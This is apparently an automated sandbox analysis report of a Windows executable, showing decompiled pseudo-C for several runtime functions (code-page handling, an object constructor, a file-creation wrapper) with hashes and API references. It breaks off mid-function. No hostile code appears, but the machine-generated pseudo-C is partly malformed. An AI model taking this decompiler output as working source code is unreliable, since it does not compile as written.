Instruction Fuzzy Hash: 83D02B31781735BBC13C31C61C02F99FE058740CB1F040071FF0811604DBA5042042D9

Uniqueness

Uniqueness Score: -1.00%

Function 0111B1D0, Relevance: 3.2, APIs: 2, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0111B1D0(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				signed int _v32;
				signed int _v36;
				signed int _t48;
				int _t51;
				signed int _t54;
				signed int _t55;
				short _t58;
				signed char _t62;
				signed int _t63;
				signed char* _t72;
				signed char* _t73;
				int _t78;
				signed int _t81;
				signed char* _t82;
				short* _t83;
				int _t87;
				signed char _t88;
				signed int _t89;
				signed int _t91;
				signed int _t92;
				int _t94;
				int _t95;
				intOrPtr _t98;
				signed int _t99;

				_t48 =  *0x112d668; // 0xf5f1ec05
				_v8 = _t48 ^ _t99;
				_t98 = _a8;
				_t78 = E0111AD9B(__eflags, _a4);
				if(_t78 != 0) {
					_t94 = 0;
					__eflags = 0;
					_t81 = 0;
					_t51 = 0;
					_v32 = 0;
					while(1) {
						__eflags =  *((intOrPtr*)(_t51 + 0x112d828)) - _t78;
						if( *((intOrPtr*)(_t51 + 0x112d828)) == _t78) {
							break;
						}
						_t81 = _t81 + 1;
						_t51 = _t51 + 0x30;
						_v32 = _t81;
						__eflags = _t51 - 0xf0;
						if(_t51 < 0xf0) {
							continue;
						} else {
							__eflags = _t78 - 0xfde8;
							if(_t78 == 0xfde8) {
								L23:
							} else {
								__eflags = _t78 - 0xfde9;
								if(_t78 == 0xfde9) {
									goto L23;
								} else {
									_t51 = IsValidCodePage(_t78 & 0x0000ffff);
									__eflags = _t51;
									if(_t51 == 0) {
										goto L23;
									} else {
										_t51 = GetCPInfo(_t78,  &_v28);
										__eflags = _t51;
										if(_t51 == 0) {
											__eflags =  *0x11506c4 - _t94; // 0x0
											if(__eflags == 0) {
												goto L23;
											} else {
												E0111AE0E(_t98);
												goto L37;
											}
										} else {
											E0110F1A0(_t94, _t98 + 0x18, _t94, 0x101);
											 *(_t98 + 4) = _t78;
											 *(_t98 + 0x21c) = _t94;
											_t78 = 1;
											__eflags = _v28 - 1;
											if(_v28 <= 1) {
												 *(_t98 + 8) = _t94;
											} else {
												__eflags = _v22;
												_t72 =  &_v22;
												if(_v22 != 0) {
													while(1) {
														_t88 = _t72[1];
														__eflags = _t88;
														if(_t88 == 0) {
															goto L16;
														}
														_t91 = _t88 & 0x000000ff;
														_t89 =  *_t72 & 0x000000ff;
														while(1) {
															__eflags = _t89 - _t91;
															if(_t89 > _t91) {
																break;
															}
															 *(_t98 + _t89 + 0x19) =  *(_t98 + _t89 + 0x19) | 0x00000004;
															_t89 = _t89 + 1;
															__eflags = _t89;
														}
														_t72 =  &(_t72[2]);
														__eflags =  *_t72;
														if( *_t72 != 0) {
															continue;
														}
														goto L16;
													}
												}
												L16:
												_t73 = _t98 + 0x1a;
												_t87 = 0xfe;
												do {
													 *_t73 =  *_t73 | 0x00000008;
													_t73 =  &(_t73[1]);
													_t87 = _t87 - 1;
													__eflags = _t87;
												} while (_t87 != 0);
												 *(_t98 + 0x21c) = E0111AD5D( *(_t98 + 4));
												 *(_t98 + 8) = _t78;
											}
											_t95 = _t98 + 0xc;
											asm("stosd");
											asm("stosd");
											asm("stosd");
											L36:
											E0111AE73(_t78, _t91, _t95, _t98, _t98); // executed
											L37:
											__eflags = 0;
										}
									}
								}
							}
						}
						goto L39;
					}
					E0110F1A0(_t94, _t98 + 0x18, _t94, 0x101);
					_t54 = _v32 * 0x30;
					__eflags = _t54;
					_v36 = _t54;
					_t55 = _t54 + 0x112d838;
					_v32 = _t55;
					do {
						__eflags =  *_t55;
						_t82 = _t55;
						if( *_t55 != 0) {
							while(1) {
								_t62 = _t82[1];
								__eflags = _t62;
								if(_t62 == 0) {
									break;
								}
								_t92 =  *_t82 & 0x000000ff;
								_t63 = _t62 & 0x000000ff;
								while(1) {
									__eflags = _t92 - _t63;
									if(_t92 > _t63) {
										break;
									}
									__eflags = _t92 - 0x100;
									if(_t92 < 0x100) {
										_t31 = _t94 + 0x112d820; // 0x8040201
										 *(_t98 + _t92 + 0x19) =  *(_t98 + _t92 + 0x19) |  *_t31;
										_t92 = _t92 + 1;
										__eflags = _t92;
										_t63 = _t82[1] & 0x000000ff;
										continue;
									}
									break;
								}
								_t82 =  &(_t82[2]);
								__eflags =  *_t82;
								if( *_t82 != 0) {
									continue;
								}
								break;
							}
							_t55 = _v32;
						}
						_t94 = _t94 + 1;
						_t55 = _t55 + 8;
						_v32 = _t55;
						__eflags = _t94 - 4;
					} while (_t94 < 4);
					 *(_t98 + 4) = _t78;
					 *(_t98 + 8) = 1;
					 *(_t98 + 0x21c) = E0111AD5D(_t78);
					_t83 = _t98 + 0xc;
					_t91 = _v36 + 0x112d82c;
					_t95 = 6;
					do {
						_t58 =  *_t91;
						_t91 = _t91 + 2;
						 *_t83 = _t58;
						_t83 = _t83 + 2;
						_t95 = _t95 - 1;
						__eflags = _t95;
					} while (_t95 != 0);
					goto L36;
				} else {
					E0111AE0E(_t98);
				}
				L39:
				return E0110EA8A(_v8 ^ _t99);
			}

0x0111b1d8
0x0111b1df
0x0111b1e7
0x0111b1ef
0x0111b1f4
0x0111b205
0x0111b205
0x0111b207
0x0111b209
0x0111b20b
0x0111b20e
0x0111b20e
0x0111b214
0x00000000
0x00000000
0x0111b21a
0x0111b21b
0x0111b21e
0x0111b221
0x0111b226
0x00000000
0x0111b228
0x0111b228
0x0111b22e
0x0111b2fc
0x0111b234
0x0111b234
0x0111b23a
0x00000000
0x0111b240
0x0111b244
0x0111b24a
0x0111b24c
0x00000000
0x0111b252
0x0111b257
0x0111b25d
0x0111b25f
0x0111b2e9
0x0111b2ef
0x00000000
0x0111b2f1
0x0111b2f2
0x00000000
0x0111b2f2
0x0111b265
0x0111b26f
0x0111b274
0x0111b27c
0x0111b282
0x0111b283
0x0111b286
0x0111b2d9
0x0111b288
0x0111b288
0x0111b28c
0x0111b28f
0x0111b291
0x0111b291
0x0111b294
0x0111b296
0x00000000
0x00000000
0x0111b298
0x0111b29b
0x0111b2a6
0x0111b2a6
0x0111b2a8
0x00000000
0x00000000
0x0111b2a0
0x0111b2a5
0x0111b2a5
0x0111b2a5
0x0111b2aa
0x0111b2ad
0x0111b2b0
0x00000000
0x00000000
0x00000000
0x0111b2b0
0x0111b291
0x0111b2b2
0x0111b2b2
0x0111b2b5
0x0111b2ba
0x0111b2ba
0x0111b2bd
0x0111b2be
0x0111b2be
0x0111b2be
0x0111b2ce
0x0111b2d4
0x0111b2d4
0x0111b2de
0x0111b2e1
0x0111b2e2
0x0111b2e3
0x0111b3a7
0x0111b3a8
0x0111b3ad
0x0111b3ae
0x0111b3ae
0x0111b25f
0x0111b24c
0x0111b23a
0x0111b22e
0x00000000
0x0111b3b0
0x0111b30e
0x0111b316
0x0111b316
0x0111b31a
0x0111b31d
0x0111b323
0x0111b326
0x0111b326
0x0111b329
0x0111b32b
0x0111b32d
0x0111b32d
0x0111b330
0x0111b332
0x00000000
0x00000000
0x0111b334
0x0111b337
0x0111b353
0x0111b353
0x0111b355
0x00000000
0x00000000
0x0111b33c
0x0111b342
0x0111b344
0x0111b34a
0x0111b34e
0x0111b34e
0x0111b34f
0x00000000
0x0111b34f
0x00000000
0x0111b342
0x0111b357
0x0111b35a
0x0111b35d
0x00000000
0x00000000
0x00000000
0x0111b35d
0x0111b35f
0x0111b35f
0x0111b362
0x0111b363
0x0111b366
0x0111b369
0x0111b369
0x0111b36f
0x0111b372
0x0111b381
0x0111b38a
0x0111b38f
0x0111b395
0x0111b396
0x0111b396
0x0111b399
0x0111b39c
0x0111b39f
0x0111b3a2
0x0111b3a2
0x0111b3a2
0x00000000
0x0111b1f6
0x0111b1f7
0x0111b1fd
0x0111b3b1
0x0111b3c0

APIs

Part of subcall function 0111AD9B: GetOEMCP.KERNEL32(00000000,?,?,0111B024,?), ref: 0111ADC6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0111B069,?,00000000), ref: 0111B244
GetCPInfo.KERNEL32(00000000,0111B069,?,?,?,0111B069,?,00000000), ref: 0111B257

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: bb00ab22b60cf6579c3085b03414a29ef9cf1e3b04a6460dc7cbb32ad46b0b9f
Instruction ID: cfc1639ce3247032c9ba620733ddfa3d5576f156492b47ec795e8d1f955f6242
Opcode Fuzzy Hash: bb00ab22b60cf6579c3085b03414a29ef9cf1e3b04a6460dc7cbb32ad46b0b9f
Instruction Fuzzy Hash: 2B514370A082469FEB2D8F7AC4846BEFFF5EF41210F14407ED89687259D734A14ACB95

Uniqueness

Uniqueness Score: -1.00%

Function 010F13B6, Relevance: 3.1, APIs: 2, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E010F13B6(intOrPtr* __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t56;
				signed int _t62;
				signed int _t63;
				char _t64;
				intOrPtr _t74;
				intOrPtr* _t78;
				void* _t86;
				void* _t87;
				intOrPtr* _t89;
				void* _t91;
				void* _t96;

				_t96 = __eflags;
				_t87 = __edi;
				_t86 = __edx;
				_t78 = __ecx;
				E0110E0E4(_t56, _t91);
				_push(_t78);
				_push(_t78);
				_t89 = _t78;
				 *((intOrPtr*)(_t91 - 0x10)) = _t89;
				E010F95B6(_t78);
				 *_t89 = 0x11225b8;
				 *((intOrPtr*)(_t91 - 4)) = 0;
				E010F6027(_t89 + 0x1024, _t86, _t96);
				 *((char*)(_t91 - 4)) = 1;
				E010FC767(_t89 + 0x20e8, _t86, _t96);
				 *((intOrPtr*)(_t89 + 0x21d0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d4)) = 0;
				E010F1550();
				_t62 = E010F1550();
				 *((char*)(_t91 - 4)) = 4;
				_t63 = _t62 & 0xffffff00 |  *((intOrPtr*)(_t91 + 8)) == 0x00000000;
				 *((intOrPtr*)(_t89 + 0x21bc)) = 0;
				 *(_t89 + 0x21b8) = _t63;
				_t98 = _t63;
				if(_t63 == 0) {
					_t64 =  *((intOrPtr*)(_t91 + 8));
				} else {
					_t74 = E0110E0A0(_t86, _t89, _t98, 0x82e8);
					 *((intOrPtr*)(_t91 - 0x14)) = _t74;
					 *((char*)(_t91 - 4)) = 5;
					if(_t74 == 0) {
						_t64 = 0;
					} else {
						_t64 = E010FAFBD(_t74); // executed
					}
				}
				 *((intOrPtr*)(_t89 + 0x21bc)) = _t64;
				 *(_t89 + 0x21c0) =  *(_t89 + 0x21c0) | 0xffffffff;
				 *(_t89 + 0x21c4) =  *(_t89 + 0x21c4) | 0xffffffff;
				 *(_t89 + 0x21c8) =  *(_t89 + 0x21c8) | 0xffffffff;
				 *((char*)(_t89 + 0x1d)) =  *((intOrPtr*)(_t64 + 0x6199));
				 *((intOrPtr*)(_t89 + 0x6cb0)) = 2;
				 *((intOrPtr*)(_t89 + 0x6cb4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cb8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cc0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d4)) = 0;
				 *((char*)(_t89 + 0x6cbc)) = 0;
				 *((short*)(_t89 + 0x6cc4)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cac)) = 0;
				E0110F1A0(_t87, _t89 + 0x2208, 0, 0x40);
				E0110F1A0(_t87, _t89 + 0x2248, 0, 0x34);
				E0110F1A0(_t87, _t89 + 0x4590, 0, 0x20);
				 *((intOrPtr*)(_t89 + 0x6cd8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cec)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cf0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cf4)) = 0;
				 *((short*)(_t89 + 0x6cfa)) = 0;
				 *((char*)(_t89 + 0x6cd6)) = 0;
				 *((char*)(_t89 + 0x6cf8)) = 0;
				 *((char*)(_t89 + 0x21e0)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t91 - 0xc));
				return _t89;
			}

0x010f13b6
0x010f13b6
0x010f13b6
0x010f13b6
0x010f13b6
0x010f13bb
0x010f13bc
0x010f13bf
0x010f13c1
0x010f13c4
0x010f13cb
0x010f13d7
0x010f13da
0x010f13e5
0x010f13e9
0x010f13f4
0x010f13fa
0x010f1400
0x010f140b
0x010f1413
0x010f1417
0x010f141a
0x010f1420
0x010f1426
0x010f1428
0x010f144d
0x010f142a
0x010f142f
0x010f1435
0x010f1438
0x010f143e
0x010f1449
0x010f1440
0x010f1442
0x010f1442
0x010f143e
0x010f1450
0x010f145c
0x010f1463
0x010f146a
0x010f1473
0x010f147e
0x010f1488
0x010f148e
0x010f1494
0x010f149a
0x010f14a0
0x010f14a6
0x010f14ac
0x010f14b3
0x010f14b9
0x010f14bf
0x010f14c5
0x010f14cb
0x010f14d1
0x010f14e0
0x010f14ef
0x010f14fa
0x010f1502
0x010f1508
0x010f150e
0x010f1514
0x010f151a
0x010f1520
0x010f1526
0x010f152f
0x010f1535
0x010f153b
0x010f1543
0x010f154d

APIs

__EH_prolog.LIBCMT ref: 010F13B6

Part of subcall function 010F6027: __EH_prolog.LIBCMT ref: 010F602C

Part of subcall function 010FC767: __EH_prolog.LIBCMT ref: 010FC76C
Part of subcall function 010FC767: new.LIBCMT ref: 010FC7AF
Part of subcall function 010FC767: new.LIBCMT ref: 010FC7D3

new.LIBCMT ref: 010F142F

Part of subcall function 010FAFBD: __EH_prolog.LIBCMT ref: 010FAFC2

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8a56b8ff59d692c4d3cea92845a1f7ebb623f571256abced54ee19d57841d6e3
Instruction ID: da1a7d2f9627e8ff7131003ba83b30537e3d54cb7511e784f2301ce0ea327fdc
Opcode Fuzzy Hash: 8a56b8ff59d692c4d3cea92845a1f7ebb623f571256abced54ee19d57841d6e3
Instruction Fuzzy Hash: 214134B0905B41DEE724CF798885AE7FAE5FF28304F444A2ED6EE83281CB726554CB11

Uniqueness

Uniqueness Score: -1.00%

Function 010F13B1, Relevance: 3.1, APIs: 2, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F13B1(intOrPtr* __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __esi;
				signed int _t62;
				signed int _t63;
				char _t64;
				intOrPtr _t74;
				intOrPtr* _t78;
				void* _t86;
				void* _t87;
				intOrPtr* _t89;
				void* _t91;
				void* _t96;

				_t96 = __eflags;
				_t87 = __edi;
				_t86 = __edx;
				_t78 = __ecx;
				E0110E0E4(0x1121ae7, _t91);
				_t89 = _t78;
				 *((intOrPtr*)(_t91 - 0x10)) = _t89;
				E010F95B6(_t78);
				 *_t89 = 0x11225b8;
				 *((intOrPtr*)(_t91 - 4)) = 0;
				E010F6027(_t89 + 0x1024, _t86, _t96);
				 *((char*)(_t91 - 4)) = 1;
				E010FC767(_t89 + 0x20e8, _t86, _t96);
				 *((intOrPtr*)(_t89 + 0x21d0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d4)) = 0;
				E010F1550();
				_t62 = E010F1550();
				 *((char*)(_t91 - 4)) = 4;
				_t63 = _t62 & 0xffffff00 |  *((intOrPtr*)(_t91 + 8)) == 0x00000000;
				 *((intOrPtr*)(_t89 + 0x21bc)) = 0;
				 *(_t89 + 0x21b8) = _t63;
				_t98 = _t63;
				if(_t63 == 0) {
					_t64 =  *((intOrPtr*)(_t91 + 8));
				} else {
					_t74 = E0110E0A0(_t86, _t89, _t98, 0x82e8);
					 *((intOrPtr*)(_t91 - 0x14)) = _t74;
					 *((char*)(_t91 - 4)) = 5;
					if(_t74 == 0) {
						_t64 = 0;
					} else {
						_t64 = E010FAFBD(_t74); // executed
					}
				}
				 *((intOrPtr*)(_t89 + 0x21bc)) = _t64;
				 *(_t89 + 0x21c0) =  *(_t89 + 0x21c0) | 0xffffffff;
				 *(_t89 + 0x21c4) =  *(_t89 + 0x21c4) | 0xffffffff;
				 *(_t89 + 0x21c8) =  *(_t89 + 0x21c8) | 0xffffffff;
				 *((char*)(_t89 + 0x1d)) =  *((intOrPtr*)(_t64 + 0x6199));
				 *((intOrPtr*)(_t89 + 0x6cb0)) = 2;
				 *((intOrPtr*)(_t89 + 0x6cb4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cb8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cc0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d4)) = 0;
				 *((char*)(_t89 + 0x6cbc)) = 0;
				 *((short*)(_t89 + 0x6cc4)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cac)) = 0;
				E0110F1A0(_t87, _t89 + 0x2208, 0, 0x40);
				E0110F1A0(_t87, _t89 + 0x2248, 0, 0x34);
				E0110F1A0(_t87, _t89 + 0x4590, 0, 0x20);
				 *((intOrPtr*)(_t89 + 0x6cd8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cec)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cf0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cf4)) = 0;
				 *((short*)(_t89 + 0x6cfa)) = 0;
				 *((char*)(_t89 + 0x6cd6)) = 0;
				 *((char*)(_t89 + 0x6cf8)) = 0;
				 *((char*)(_t89 + 0x21e0)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t91 - 0xc));
				return _t89;
			}

0x010f13b1
0x010f13b1
0x010f13b1
0x010f13b1
0x010f13b6
0x010f13bf
0x010f13c1
0x010f13c4
0x010f13cb
0x010f13d7
0x010f13da
0x010f13e5
0x010f13e9
0x010f13f4
0x010f13fa
0x010f1400
0x010f140b
0x010f1413
0x010f1417
0x010f141a
0x010f1420
0x010f1426
0x010f1428
0x010f144d
0x010f142a
0x010f142f
0x010f1435
0x010f1438
0x010f143e
0x010f1449
0x010f1440
0x010f1442
0x010f1442
0x010f143e
0x010f1450
0x010f145c
0x010f1463
0x010f146a
0x010f1473
0x010f147e
0x010f1488
0x010f148e
0x010f1494
0x010f149a
0x010f14a0
0x010f14a6
0x010f14ac
0x010f14b3
0x010f14b9
0x010f14bf
0x010f14c5
0x010f14cb
0x010f14d1
0x010f14e0
0x010f14ef
0x010f14fa
0x010f1502
0x010f1508
0x010f150e
0x010f1514
0x010f151a
0x010f1520
0x010f1526
0x010f152f
0x010f1535
0x010f153b
0x010f1543
0x010f154d

APIs

__EH_prolog.LIBCMT ref: 010F13B6

Part of subcall function 010F6027: __EH_prolog.LIBCMT ref: 010F602C

Part of subcall function 010FC767: __EH_prolog.LIBCMT ref: 010FC76C
Part of subcall function 010FC767: new.LIBCMT ref: 010FC7AF
Part of subcall function 010FC767: new.LIBCMT ref: 010FC7D3

new.LIBCMT ref: 010F142F

Part of subcall function 010FAFBD: __EH_prolog.LIBCMT ref: 010FAFC2

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c6a77f8b0292a2e6b512241d0ce1a7158da376ba7a9c82040504a6d153e170e6
Instruction ID: f6fec059e1891c1e39d4d3f4d4d7544e26e0b7fba189a27a762e8755027fcd6e
Opcode Fuzzy Hash: c6a77f8b0292a2e6b512241d0ce1a7158da376ba7a9c82040504a6d153e170e6
Instruction Fuzzy Hash: A44145B0905B41DEE724CF798485AE7FAE5FF28304F444A2ED6EE83281CB722154CB11

Uniqueness

Uniqueness Score: -1.00%

Function 0111B007, Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0111B007(signed int __ebx, void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, char _a8) {
				char _v8;
				char _v16;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t31;
				void* _t32;
				signed int _t36;
				char _t40;
				intOrPtr _t44;
				char _t45;
				signed int _t51;
				void* _t64;
				void* _t70;
				signed int _t75;
				void* _t81;

				_t81 = __eflags;
				_v8 = E01118E25(__ebx, __ecx, __edx);
				E0111B12E(__ebx, __ecx, __edx, _t81);
				_t31 = E0111AD9B(_t81, _a4);
				_v16 = _t31;
				_t57 =  *(_v8 + 0x48);
				if(_t31 ==  *((intOrPtr*)( *(_v8 + 0x48) + 4))) {
					return 0;
				}
				_push(__ebx);
				_t32 = E01118398(_t57, 0x220); // executed
				_t70 = _t32;
				_t51 = __ebx | 0xffffffff;
				__eflags = _t70;
				if(__eflags == 0) {
					L5:
					_t75 = _t51;
					goto L6;
				} else {
					_t70 = memcpy(_t70,  *(_v8 + 0x48), 0x88 << 2);
					 *_t70 =  *_t70 & 0x00000000; // executed
					_t36 = E0111B1D0(_t51, _t70,  *(_v8 + 0x48), __eflags, _v16, _t70); // executed
					_t75 = _t36;
					__eflags = _t75 - _t51;
					if(_t75 != _t51) {
						__eflags = _a8;
						if(_a8 == 0) {
							E0111814F();
						}
						asm("lock xadd [eax], ebx");
						__eflags = _t51 == 1;
						if(_t51 == 1) {
							_t45 = _v8;
							__eflags =  *((intOrPtr*)(_t45 + 0x48)) - 0x112db20;
							if( *((intOrPtr*)(_t45 + 0x48)) != 0x112db20) {
								E0111835E( *((intOrPtr*)(_t45 + 0x48)));
							}
						}
						 *_t70 = 1;
						_t64 = _t70;
						_t70 = 0;
						 *(_v8 + 0x48) = _t64;
						_t40 = _v8;
						__eflags =  *(_t40 + 0x350) & 0x00000002;
						if(( *(_t40 + 0x350) & 0x00000002) == 0) {
							__eflags =  *0x112dda0 & 0x00000001;
							if(( *0x112dda0 & 0x00000001) == 0) {
								_v16 =  &_v8;
								E0111AC71(5,  &_v16);
								__eflags = _a8;
								if(_a8 != 0) {
									_t44 =  *0x112dd40; // 0x3341fa0
									 *0x112d814 = _t44;
								}
							}
						}
						L6:
						E0111835E(_t70);
						return _t75;
					} else {
						 *((intOrPtr*)(E011187DA())) = 0x16;
						goto L5;
					}
				}
			}

0x0111b007
0x0111b014
0x0111b017
0x0111b01f
0x0111b028
0x0111b02b
0x0111b031
0x00000000
0x0111b033
0x0111b037
0x0111b03f
0x0111b044
0x0111b046
0x0111b04a
0x0111b04c
0x0111b07c
0x0111b07c
0x00000000
0x0111b04e
0x0111b05b
0x0111b061
0x0111b064
0x0111b069
0x0111b06d
0x0111b06f
0x0111b08e
0x0111b092
0x0111b094
0x0111b094
0x0111b09f
0x0111b0a3
0x0111b0a4
0x0111b0a6
0x0111b0a9
0x0111b0b0
0x0111b0b5
0x0111b0ba
0x0111b0b0
0x0111b0bb
0x0111b0c1
0x0111b0c6
0x0111b0c8
0x0111b0cb
0x0111b0ce
0x0111b0d5
0x0111b0d7
0x0111b0de
0x0111b0e3
0x0111b0ec
0x0111b0f1
0x0111b0f7
0x0111b0f9
0x0111b0fe
0x0111b0fe
0x0111b0f7
0x0111b0de
0x0111b07e
0x0111b07f
0x00000000
0x0111b071
0x0111b076
0x00000000
0x0111b076
0x0111b06f

APIs

Part of subcall function 01118E25: GetLastError.KERNEL32(?,0112FF50,01113C54,0112FF50,?,?,011136CF,?,?,0112FF50), ref: 01118E29
Part of subcall function 01118E25: _free.LIBCMT ref: 01118E5C
Part of subcall function 01118E25: SetLastError.KERNEL32(00000000,?,0112FF50), ref: 01118E9D
Part of subcall function 01118E25: _abort.LIBCMT ref: 01118EA3

Part of subcall function 0111B12E: _abort.LIBCMT ref: 0111B160
Part of subcall function 0111B12E: _free.LIBCMT ref: 0111B194

Part of subcall function 0111AD9B: GetOEMCP.KERNEL32(00000000,?,?,0111B024,?), ref: 0111ADC6

_free.LIBCMT ref: 0111B07F
_free.LIBCMT ref: 0111B0B5

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: f22f3123c4f40a54ec3716260836ab893539790a202d9eefa1487d9cfa175070
Instruction ID: ef2ccb0fafedbc27ef8a2fef64618a858e9839b710ef20b84ccffe72fc898301
Opcode Fuzzy Hash: f22f3123c4f40a54ec3716260836ab893539790a202d9eefa1487d9cfa175070
Instruction Fuzzy Hash: 1531E732908209AFDB29EFA8D444B5DFBF5EF40324F2540B9D5149B294EB729D40CB54

Uniqueness

Uniqueness Score: -1.00%

Function 010F96BE, Relevance: 3.1, APIs: 2, Instructions: 86
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F96BE(void* __ecx, short _a4, WCHAR* _a4104, signed char _a4108) {
				long _v0;
				signed char _t34;
				signed int _t36;
				void* _t37;
				signed char _t46;
				struct _SECURITY_ATTRIBUTES* _t47;
				long _t56;
				void* _t59;
				long _t63;

				E0110E1C0();
				_t46 = _a4108;
				_t34 = _t46 >> 0x00000001 & 0x00000001;
				_t59 = __ecx;
				if((_t46 & 0x00000010) != 0 ||  *((char*)(__ecx + 0x1d)) != 0) {
					_t63 = 1;
					__eflags = 1;
				} else {
					_t63 = 0;
				}
				 *(_t59 + 0x18) = _t46;
				_v0 = ((0 | _t34 == 0x00000000) - 0x00000001 & 0x80000000) + 0xc0000000;
				_t36 =  *(E010FBBA9(_t34, _a4104)) & 0x0000ffff;
				if(_t36 == 0x2e || _t36 == 0x20) {
					if((_t46 & 0x00000020) != 0) {
						goto L8;
					} else {
						 *(_t59 + 4) =  *(_t59 + 4) | 0xffffffff;
						_t47 = 0;
						_t56 = _v0;
					}
				} else {
					L8:
					_t56 = _v0;
					_t47 = 0;
					__eflags = 0;
					_t37 = CreateFileW(_a4104, _t56, _t63, 0, 2, 0, 0); // executed
					 *(_t59 + 4) = _t37;
				}
				if( *(_t59 + 4) == 0xffffffff && E010FB5AC(_a4104,  &_a4, 0x800) != 0) {
					 *(_t59 + 4) = CreateFileW( &_a4, _t56, _t63, _t47, 2, _t47, _t47);
				}
				 *((char*)(_t59 + 0x12)) = 1;
				 *(_t59 + 0xc) = _t47;
				 *(_t59 + 0x10) = _t47;
